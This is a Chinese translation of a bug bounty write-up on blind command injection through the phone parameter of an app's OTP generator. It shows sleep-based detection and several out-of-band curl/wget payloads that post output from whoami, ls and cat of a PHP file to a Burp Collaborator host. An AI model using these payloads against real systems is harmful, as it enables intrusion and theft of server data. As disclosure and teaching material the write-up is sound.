白帽故事 · 2024年12月11日 0

盲注的艺术:解锁内部秘密

关于盲注

盲注入是攻击者可以在服务器上执行系统命令而不直接看到输出结果的漏洞。

它发生在用户输入未经过适当“过滤”的情况下,允许恶意命令传递到服务器的 shell。

由于攻击者无法看到输出结果,他们只能依靠如延迟或 HTTP/DNS 回调来确认是否成功利用了漏洞。

漏洞概要

某应用程序的生成 OTP 功能被发现可能受到命令注入的攻击,通过注入“ sleep 10 ”,应用程序延迟了 10 秒的响应。

使用“ sleep 20 ”进一步证实了该行为,从而导致了 20 秒的延迟。

为了升级漏洞级别,白帽小哥精心设计了用于执行“ ls ”等命令并将输出重定向到Collaborator服务器的Payloads,让我们来看看是怎么一回事吧~

漏洞利用

在“生成 OTP”功能中,输入手机号码,并观察以下 API 请求。从响应中,可以发现服务器是在 Ubuntu 上运行的 Nginx。

file

将“ sleep 20 ”注入到phone参数后,应用程序响应成功延迟 20 秒。

file

为了验证服务器是否可以执行命令,使用Payload“ wget burp_collaborator_server ”,很快便在 collaborator 服务器上成功收到了 HTTP 请求,确认服务器确实可以执行命令。

file

file

由于是盲注漏洞,并且输出在响应中不可见,因此可以编写了一个curl命令:

curl -X POST -d "$(whoami)" burp_collaborator_server

file

file

接下来,尝试执行ls命令,并且在collaborator 服务器上成功接收到输出。

file

file

在这些输出中,成功找到了一个名为“XXXX.php”的文件,为了扩大攻击的影响,创建以下Payload:

curl -X POST -d "$(cat XXXX.php)" burp_collaborator_server

file

file

成功读取php源代码。

以上内容由骨哥翻译并整理,你学到了么?

原文:https://infosecwriteups.com/the-art-of-blind-command-injection-unlocking-internal-secrets-917daa755463